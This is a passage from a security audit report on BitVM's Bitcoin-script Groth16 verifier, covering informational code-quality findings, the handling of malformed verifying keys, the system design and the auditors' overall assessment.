Note that for the limb size, the value `<Fq as Fp254Mul>::LIMB_SIZE` is returned, rather than the actual limb size of the `<Fq as Fp254Mul>::T` type, which would be `<Fq as Fp254Mul>::T::LIMB_SIZE`.

In practice, this does not make a difference, as `T`'s limb size is directly defined via the `<Fq as Fp254Mul>::LIMB_SIZE` constant:

```
type T = BigIntImpl<{ Self::N_BITS + $VAR_WIDTH +
    <Self as [<Fp254 $NAME>]>::LC_BITS + 1}, {
    <Self as [<Fp254 $NAME>]>::LIMB_SIZE }>;
```

However, it would be cleaner to use the following:

```
pub const fn bigint_tmul_lc_1() -> (u32, u32) {
    const X: u32 = <Fq as Fp254Mul>::T::N_BITS;
```

```
    const Y: u32 = <Fq as Fp254Mul>::LIMB_SIZE;
    const Y: u32 = <Fq as Fp254Mul>::T::LIMB_SIZE;
    (X, Y)
}
```

Usage of the constants for the incorrect type in `tmul` wrappers

The functions from `hinted_mul` to `hinted_inv` in bitvm/src/bn254/fp254impl.rs are wrappers of variants of the `tmul` function. The `tmul` script expects inputs of two types; the various factors are expected to be of type `Fq`, while the quotient hint is expected to be of the type `T` associated to the relevant variant of `tmul`.

However, the mentioned functions utilize functions and constants from `Fq` rather than `T` when operating with the quotient hint.

For example, `hinted_mul` rolls the hint forward using the following snippet:

```
for _ in 0..Self::N_LIMBS {
    OP_DEPTH OP_1SUB OP_ROLL
}
```

Apart from `Self` being used where `Fq` was likely meant (see Finding 3.45. ↗), this moves as many stack elements as the underlying bigint of the field type has limbs, rather than of the actually correct type `T`.

In practice, this does not make a difference, because both bigint types have nine limbs. However, using `N_LIMBS` of the correct type would make the code more robust.

Constant `signatures::HASH_LEN`

The constant `signatures::HASH_LEN` in the file bitvm/src/signatures/mod.rs is likely intended to have the same use and meaning as the constant `BLAKE3_HASH_LENGTH` in bitvm/src/chunk/wrap_hasher.rs. If this is the case, we recommend to remove one of the two.

Explicit type annotations in `signature_to_compact_signature`

The function `signature_to_compact_signature` in the file bitvm/src/signatures/public.rs truncates a `Signature` (21 bytes) to a `CompactSignature` (20 bytes). Consider adding explicit type annotations to the line where truncation happens:

```
    let digit_signatures: Vec<[u8; 20]> = signature
        .as_ref()
        .iter()
        .map(|digit_sig| std::array::from_fn(|i| digit_sig[i]))
```

```
//
//
        .map(|digit_sig: &[u8; 21]| std::array::from_fn::<u8, 20, _>(|i|
            digit_sig[i]))
        .collect();
```

This would make it clear that this line is where truncation from 21 bytes to 20 bytes occurs.

Refactoring of stack-clearing logic in `checksig_verify_and_clear_stack`

The function `checksig_verify_and_clear_stack` in the file bitvm/src/signatures/winternitz.rs contains the following snippet:

```
for _ in 0..(ps.message_digit_len) / 2 {
    OP_2DROP
}
if ps.message_digit_len % 2 == 1 {
    OP_DROP
}
```

This follows the same stack-clearing logic as `u4_drop` in the file bitvm/src/u4/u4_std.rs:

```
pub fn u4_drop(n: u32) -> Script {
    script! {
        for _ in 0..n / 2 {
            OP_2DROP
        }
        if n & 1 == 1 {
            OP_DROP
        }
    }
}
```

Consider creating a helper function that drops a specific number of stack elements, and use it in both `checksig_verify_and_clear_stack` and `u4_drop`.

Deduplication of shared arguments in `blake3_utils::round`

The blake3 `round` function shares most of its arguments between calls to `g`, obscuring the correspondence with the indexes specified in section 2.2 of the BLAKE3 specification. Using a closure to deduplicate the shared arguments makes the function shorter and the correspondence more clear.

```
fn round(
    stack: &mut StackTracker,
    state_var_map: &mut HashMap<u8, StackVariable>,
    message_var_map: &HashMap<u8, StackVariable>,
    tables: &TablesVars,
    last_round: bool,
) {
    let mut g = |i: u8, (a, b, c, d)| {
        g(
            stack,
            state_var_map,
            a,
            b,
            c,
            d,
            message_var_map[&(2 * i)],
            message_var_map[&(2 * i + 1)],
            tables,
            last_round,
        )
    };
    g(0, (0, 4, 8, 12));
    g(1, (1, 5, 9, 13));
    g(2, (2, 6, 10, 14));
    g(3, (3, 7, 11, 15));

    g(4, (0, 5, 10, 15));
    g(5, (1, 6, 11, 12));
    g(6, (2, 7, 8, 13));
    g(7, (3, 4, 9, 14));
}
```

Documentation for `Parameters::message_byte_len`

The function `Parameters::message_byte_len` in bitvm/src/signatures/winternitz.rs is documented and implemented as follows:

```
/// Maximum byte length of supported messages.
pub const fn message_byte_len(&self) -> u32 {
    (self.message_digit_len * self.log2_base).div_ceil(8)
}
```

Note that there are two lengths one could consider the maximum number of bytes of messages (we consider the original message here a sequence of bits, namely `self.message_digit_len * self.log2_base` many):

1. The number of bytes that are needed to store any supported message.
2. The number of bytes so that each bytestring of that length is representable as a supported message.

Note that if `self.message_digit_len * self.log2_base` is divisible by 8, then these are the same: `(self.message_digit_len * self.log2_base) / 8` bytes have exactly `self.message_digit_len * self.log2_base` bits, so bitstrings of `self.message_digit_len * self.log2_base` bits are in bijection to bytestrings of `(self.message_digit_len * self.log2_base) / 8` bytes.

However, if `self.message_digit_len * self.log2_base` is not divisible by 8, then the length of bytestrings that are all supported as messages is `floor((self.message_digit_len * self.log2_base) / 8)` while the length of bytestrings needed to store all supported messages would be `ceil((self.message_digit_len * self.log2_base) / 8)`.

The function `Parameters::message_byte_len` returns the latter, while the documentation comment "Maximum byte length of supported messages" could be read as suggesting the former.

Tests like `test_winternitz_success` appear to handle this distinction, but we still recommend to enhance documentation of `message_byte_len` to avoid developer mistakes.

Function `Fp254Impl::neg` has hardcoded loop iterations

The function `Fp254Impl::neg` is written with a unnecessarily manually unrolled loop with nine iterations. This corresponds to the number of limbs in the underlying bigint type.

We recommend modifying the function to write the repetitive code more compactly as a loop and also making it work for any value of `N_LIMBS`:

```
fn neg(a: u32) -> Script {
    script! {
        { Self::roll(a) }
        { Self::is_zero_keep_element(0) }
        OP_NOTIF
            { Self::MODULUS_LIMBS[0] } OP_SWAP { 0x20000000 }
            limb_sub_borrow OP_TOALTSTACK

            for i in 1..Self::N_LIMBS - 1 {
                OP_ROT OP_ADD
                { Self::MODULUS_LIMBS[i] } OP_SWAP OP_ROT
                limb_sub_borrow OP_TOALTSTACK
            }

            OP_NIP OP_ADD
            { Self::MODULUS_LIMBS[Self::N_LIMBS-1] } OP_SWAP OP_SUB
            for i in 1..Self::N_LIMNS {
                OP_FROMALTSTACK
```

```
            }
        OP_ENDIF
    }
}
```

4.7. Malformed verifying keys

Several functions in the code rely on the verifying key to be a well-formed Groth16 verifying key. The audited code does not validate this assumption. When integrating this code, it is therefore important that this assumption is checked there.

Example: `taps_point_ops::point_ops_and_multiply_line_evals_step_1` relies on the verifying key being well-formed

The proof-verfication algorithm includes a segment where three pairings are evaluated simultaneously in a miller loop. In two of these pairings, the G2 point is part of the verifying key. In the notation from section 5. ↗, these are the points `gamma_g2` and `delta_g2`. During the loop, two G2 point accumulators `t2` and `t3` are incrementally updated. The updates and therefore the value of `t3` depends only on `gamma_g2`. The same is true for `t2` and `delta_g2`.

For a well-formed verifying key, the points `gamma_g2` and `delta_g2` are nonzero elements of the subgroup G2. In this case, the accumulators can never be zero. For other values of `gamma_g2` or `delta_g2`, it is possible that the accumulators reach the value zero.

If that is the case, code sections like the following will panic:

```
let (alpha_t2, neg_bias_t2) = if is_dbl {
    let alpha_t2 = (t2.x.square() + t2.x.square() + t2.x.square()) / (t2.y +
    t2.y);
    let neg_bias_t2 = alpha_t2 * t2.x - t2.y;
    (alpha_t2, neg_bias_t2)
}
```

Usage of invalid verifying key points

The function `generate_segments_using_mock_vk_and_mock_proof` in bitvm/src/chunk/api_compiletime_utils.rs is implemented as follows:

```
pub(crate) fn generate_segments_using_mock_vk_and_mock_proof() -> Vec<Segment>
    {
    let mock_vk = Vkey {
        q2: ark_bn254::G2Affine::identity(),
```

```
        q3: ark_bn254::G2Affine::identity(),
        p3vk: (0..NUM_PUBS)
            .map(|_| ark_bn254::G1Affine::identity())
            .collect(),
        p1q1: ark_bn254::Fq12::ONE,
        vky0: ark_bn254::G1Affine::identity(),
    };
    generate_segments_using_mock_proof(mock_vk, true)
}
```

The function creates a mock verifying key and then uses it to generate the segments, while setting `skip_evaluation` to `true`, thereby skipping computation of hints, results, and the actual scripts.

The elliptic curve points used in the mock verifying key are all the point at infinity, which is not valid for those points in a well-formed Groth16 verifying key. Parts of the segment-generation code, which is, however, skipped in this case due to `skip_evaluation`, also rely on the assumption that these points are nonzero.

While this mock verifying key is not actually used due to `skip_evaluation`, it would nevertheless be more consistent to use a well-formed Groth16 verifying key for mock purposes, where these points are nonzero, using for example the standard generators of the relevant groups.

4.8. Use easily explainable values when encountering freedom of choice

Arbitrarily chosen hardcoded values with a huge number of feasible values expose an attack surface. They allow choosing values that expose exploitable behavior under circumstances that can be induced by the knowing attacker but cannot be constructed by an unknown party.

To address such suspicion, the values should be chosen in a way that strongly restricts the freedom of choice. One way is to choose values that expose an easily explainable property that makes them unique, for example the smallest feasible value in an appropriate sense.

In Finding 3.11. ↗, we explain how specific values for the chosen mock proof could lead to exploitable behavior. In addition to the recommended remediation in that finding, we recommend to use a value for the mock proof that exposes a nothing-up-my-sleeve property, as described above. Document the way in which the value was chosen. For example, one could use as values for points in G1 and G2 some widely used generators.

The mock verifying key should be chosen in a similar way.

5. System Design

This section provides a description of the high-level protocol implemented by the system and establishes important concepts that are relevant to understand the code and findings, such as the different parties (operator and challenger) or parts of the generated Bitcoin scripts (bitcom, ops, hash).

5.1. Setup

The audited code is concerned with the optimistic validation of a Groth16 proof over the bn254 curve in Bitcoin script. An **operator** provides a Groth16 proof and asserts its validity. If the proof is invalid, a **challenger** provides a witness certifying that the operator's assertion is invalid. This witness is checked by a Bitcoin tapscript.

We denote the base field by `Fq`, by `r` the order of the subgroups G1 and G2 on that curve (which is a prime), and by `Fr` the prime field with `r` elements. The following setup is assumed and not provided by the audited code:

- An arithmetic circuit with one public input has been fixed.
- A secure key-generation ceremony for the fixed circuit using the bn254 curve took place. To refer to parts of the resulting **verifying key**, we use the field names of the `ark_groth16::VerifyingKey` struct:

```
pub struct VerifyingKey<E: Pairing> {
    /// The `alpha * G`, where `G` is the generator of `E::G1`.
    pub alpha_g1: E::G1Affine,
    /// The `alpha * H`, where `H` is the generator of `E::G2`.
    pub beta_g2: E::G2Affine,
    /// The `gamma * H`, where `H` is the generator of `E::G2`.
    pub gamma_g2: E::G2Affine,
    /// The `delta * H`, where `H` is the generator of `E::G2`.
    pub delta_g2: E::G2Affine,
    /// The `gamma^{-1} * (beta * a_i + alpha * b_i + c_i) * H`, where `H` is
    /// the generator of `E::G1`.
    pub gamma_abc_g1: Vec<E::G1Affine>,
}
```

- An agent called an operator is in possession of a witness for the fixed circuit and can generate a Groth16 **proof** with that witness. To refer to parts of the proof, we use the field names of the `ark_groth16::Proof` struct:

```
pub struct Proof<E: Pairing> {
    /// The `A` element in `G1`.
    pub a: E::G1Affine,
    /// The `B` element in `G2`.
    pub b: E::G2Affine,
    /// The `C` element in `G1`.
```

```
    pub c: E::G1Affine,
}
```

- The operator additionally is in possession of 1+14+363 secret keys to create Winternitz signatures and has published the corresponding public keys. The key count is given by the number of assertions the operator will have to sign.

5.2. Segmented validation of a Groth16 proof

The validation of a Groth16 proof is done by arithmetic computations involving elliptic curve additions and pairing evaluations on the bn254 curve. The full computation is divided into a fixed sequence of 1+14+363+1 **segments**.

The first segment consists of presenting the public input:

- Result: The public input (an element of Fr).

The next eight segments consist of presenting the arithmetic values that constitute the proof:

- Result: The coordinates of a: Fq[2], b: Fq2[2], and c: Fq[2], a total of eight Fq values.

The next six segments consist of presenting an auxiliary Fq6 value c chosen by the operator. This value is used to avoid a computational expensive step called final exponentiation in the elliptic-curve pairing computation. The Groth16 proof verification amounts to checking that the product of several pairing results is the identity. This computation is replaced by a validation that checks that c certifies that the product is the identity. The correct value for c is computed from the Groth16 proof.

- Result: A total of six Fq values.

The following 363 **hashing tapscript segments** each consist of a computational arithmetic computation, whose inputs are results segments prior to that segment.

- Result: Various arithmetic types. For each type, a hashing procedure based on a 16-byte blake3 hash is fixed.

The computation concludes with a **validating tapscript segment**, which concludes whether the equation validating the Groth16 proof holds. We do not call this conclusion a result because that word is reserved for the arithmetic intermediate values.

Exceptional values during the computation

The implementation of the Groth16 proof validation assumes for optimization purposes that certain values do not occur as the outcome of a segment computation. The set of these forbidden values is negligible (it usually is one value for an Fq6 result). These values can be avoided by changing the random parameters in the proof derivation for the same circuit witness. Should such a rare value occur during the validation of a proof, the operator can generate a new proof where different

random parameters will change theses values. Thus, in practice, the operator can always generate a proof whose validation avoids these forbidden values.

In the following, we will use the term **valid proof** to include the condition that the proof validation avoids the forbidden values.

5.3. Functionality of audited code

The audited code provides the following functionality, including signature generation, tapscript generation, and disprove-witness generation. We also review the protocol requirements.

Signature generation

This is intended for the operator.

Input: A verifying key and a (possibly invalid) Groth16 proof.

Output: The output depends on the validity of the proof.

- If the proof is invalid, return an error.
- If the proof is valid, compute the results for all segments. Compute one **assertion** for each segment except for the last one.
    - For the non-tapscript segments, the assertion is the result.
    - For the tapscript segments, the assertion is the hash of the result. Every assertion is a 256-bit value.
- If the proof is valid, sign the assertions using the Winternitz secret keys. From the resulting **signatures**, the signed assertions can be extracted. The validity of the signature includes the guarantee that the signed value is a 256-bit value.

Tapscript generation

Input: A verifying key and the public keys for the operator's secret Winternitz keys.

Output: For each tapscript segment, a tapscript with the following property.

Assuming the operator has published the signatures for a valid Groth16 proof, to successfully execute a single tapscript, it is necessary to

- have a Winternitz signature corresponding to the operator secret keys that is not one of the signatures the operator published, or
- find a second preimage for a hash signed by the operator.

Disprove-witness generation

This is intended for the challenger.

Input: One valid signature for each segment with a result. (Note that it is only guaranteed that the signed values are 256-bit values. In particular, it is possible that signed proof values are not in the range for their expected types `Fq` or `Fr`.)

Output: The function checks whether the signatures belong to assertions of a valid Groth16 proof.

- If they do, return `None`.
- Otherwise, return a tapscript segment index and a Bitcoin SegWit witness that allows to successfully execute the tapscript of that segment.

Protocol requirements

The audited code includes code that makes it possible to execute the operations mentioned above.

For integration in BitVM, it is necessary to have mechanisms in place which, under the appropriate conditions, ensure the locking of collateral with the generated tapscripts and force the operator to publish a complete set of valid signatures.

5.4. Tapscript structure

The tapscripts consist of three different sections: the bitcom script, the ops script, and the hash script. Correspondingly, the intended witness contains different sections intended to be consumed by these sections from the top or bottom of the script.

The bitcom script

The **bitcom script** consumes the **input signatures** and, except for the final segment, the **result signature** from the top of the stack. It places the corresponding assertions on the altstack. The input signatures is transformed to either a **raw input assertions** or **hash input assertions**. The result signature, if present, is always transformed to a **result hash assertion**.

The ops script

The **ops script** makes use of the stack and altstack in the following ways.

- It consumes **computational hints** from the bottom of the stack.
- It consumes a **result hint** from the top of the stack, depending on the segment type.
- It uses **input hints** from the top of the stack and leaves them there.
- It uses raw input assertions from the top of the altstack.
- In the final segment, it uses hash input assertions' from the top of the altstack.

- It places (except for the final segment) a **result** on the top of the stack.
- It places a single boolean element on the top of the stack, which, depending on the tapscript, is `isvalidinput` or `isproofvalid`.

The hash script

The **hash script** makes use of the stack and altstack in the following ways.

- It consumes the boolean `isvalidinput` from the top of the stack.
- It consumes the result from the top of the stack.
- It consumes the input hints from the top of the stack.
- It consumes the input hash assertions from the top of the altstack.
- It consumes the result hash assertion from the top of the altstack.
- It puts the value `1` on the top of the stack.

The hash script succeeds exactly if both of the following are correct:

- The hash of the input hints equals the input hash assertions.
- The hash of the result does not equal the result hash assertion, or `isvalidinput` is false.

The implementation of the hash script expects that no other stack elements are present.

Hashing tapscript segments

Each tapscript of a hashing tapscript segment is intended to ensure that the signed assertion of that segment is the hash of the correct result.

The state before the tapscript execution is illustrated by the following table. Stack and altstack are presented top to bottom. The operation executed next is on top of the remaining script.

Remaining script	Stack	Altstack
`bitcom script`	`result signature`	
	`input signatures`	
`ops script`	`result hint?`	
	`input hints`	
	`computational hints`	
`hash script`		

The bitcom script fails unless result signature and all input signatures are valid signatures.

Remaining script	Stack	Altstack
`ops script`	`result hint?`	`raw input assertions`
	`input hints`	
	`computational hints`	
`hash script`		`hash input assertions`
		`hash result assertion`

The ops script may fail if computational hints or the result hint are incorrect. If the computation encounters a forbidden value, `isvalidinput` is set to false and the result is a mock value. Otherwise, the result is the correct result of the computation of that segment for the provided input hints.

Remaining script	Stack	Altstack
`hash script`	`isvalidinput`	`hash input assertions`
	`result`	`hash result assertion`
	`input hints`	

The hash script validates whether this disproves the operator assertion for the result of the segment.

- If the hash of some input hint does not agree with the corresponding hash input assertions, the script fails because the provided inputs were not asserted by the operator.
- Otherwise, if `isvalidinput` is true, the script succeeds because the operator-asserted inputs made the computation encounter a forbidden value.
- Otherwise, if the hash of the result agrees with the hash result assertion, the script fails because the operator asserted the correct result.
- Otherwise, the script succeeds because the operator asserted a result different from the correct result.

Remaining script	Stack	Altstack
	`1`	

Validating tapscript segment

The tapscript of the final segment (the validating tapscript segment) is intended to validate the Groth16 proof. In contrast to the other tapscripts, there is no separate hash script. In this segment, the ops script validates the inputs against the hashes.

Remaining script	Stack	Altstack
`bitcom script`	`input signatures`	
`ops script`	`input hints`	
	`computational hints`	

The bitcom script unless all input signatures are valid signatures.

Remaining script	Stack	Altstack
`ops script`	`input hints`	`raw input assertions`
	`computational hints`	`hash input assertions`

The ops script fails if the hashes of the input hints do not agree with the hash input assertions. Otherwise, it returns `isproofvalid`, which is true exactly if the final computation resulted in a successful validation of the Groth16 proof and no forbidden values were encountered.

This is after execution of the ops script.

Remaining script	Stack	Altstack
	`isproofvalid`	

6. Assessment Results

During our assessment on the scoped BitVM targets, we discovered 55 findings. Four critical issues were found. Five were of high impact, eight were of medium impact, 16 were of low impact, and the remaining findings were informational in nature.

6.1. Opinion summary

The audited code implements an optimistic Groth16 proof verifier in a segmented Bitcoin tapscript. While the concept is viable in general, the implementation lacks protective measures to justify the necessary type assumptions.

The generated Bitcoin scripts are composed of parts which assume stack and altstack elements to represent arithmetic values in a specific form. These assumptions are neither documented nor checked. When called with witness data violating these assumptions, the scripts exhibit critical errors, as described in findings 3.2. ↗, 3.3. ↗, and 3.4. ↗.

When given an incorrect proof, the code must generate a witness that allows the challenger to successfully execute a script segment. The Rust types used to represent the proof values are inadequate to represent the values given in a general incorrect proof (see finding 3.6. ↗). In particular, the deferred membership checks for the `G2` elliptic curve subgroup require the hint generation to function without that assumption.

To address these points, the code would benefit from the following:

- Clarify which Bitcoin script parts are supposed to function under which type assumptions. There are different layers of type validity: Bitcoin stack elements forming `U256` values, field membership, points lying on an elliptic curve or in a specific subgroup. The required script lengths to check these type conditions vary greatly. Elliptic curve membership checks might be too long to be executed regularly. Therefore several functions intended for elliptic curve computations cannot assume their arguments to be curve points. They must have defined behavior for points that are not on the curve (this is described in more detail in 4.4. ↗).
- For each function generating a Bitcoin script part, document its assumptions. A complete tapscript must make no assumptions on the witness, because the challenger can choose it arbitrarily.
- Add the necessary checks to prevent script parts from being executed unless their assumptions are met.
- Consider that both the operator and challenger can violate type assumptions. Ensure that a violation by the challenger fails the scripts, while violations by the operator must allow the challenger to generate a disprove witness.

While we noted the absence of the required type checks in general, the absence of documentation of the assumptions prevented the attribution of these failures to specific functions. If type violations did not have an impact, this might be due to unintended circumstantial mechanisms and not by design. Without documentation of this load-bearing behavior, code changes can alter this behavior unnoticed and thereby introduce new vulnerabilities.

Following our feedback, ZeroSync implemented a number of changes to address the findings in this report. Our remediation review focuses on evaluating the direct fixes for the identified findings, rather than assessing the overall completeness or security of the the post-remediation codebase. Given the amount of remediations and the number of iterations, a simple targeted remediation review alone is insufficient to fully assess the risk of introducing new vulnerabilities.

The report verifies that individual findings were addressed. However, we cannot assess how multiple fixes interact when merged together or whether their combination could introduce new vulnerabilities. Accurately evaluating this would require a full re-review of the codebase after all fixes have been integrated.

6.2. Disclaimer

This assessment does not provide any warranties about finding all possible issues within its scope; in other words, the evaluation results do not guarantee the absence of any subsequent issues. Zellic, of course, also cannot make guarantees about any code added to the project after the version reviewed during our assessment. Furthermore, because a single assessment can never be considered comprehensive, we always recommend multiple independent assessments paired with a bug bounty program.

For each finding, Zellic provides a recommended solution. All code samples in these recommendations are intended to convey how an issue may be resolved (i.e., the idea), but they may not be tested or functional code. These recommendations are not exhaustive, and we encourage our partners to consider them as a starting point for further discussion. We are happy to provide additional guidance and advice as needed.

Finally, the contents of this assessment report are for informational purposes only; do not construe any information in this report as legal, tax, investment, or financial advice. Nothing contained in this report constitutes a solicitation or endorsement of a project by Zellic.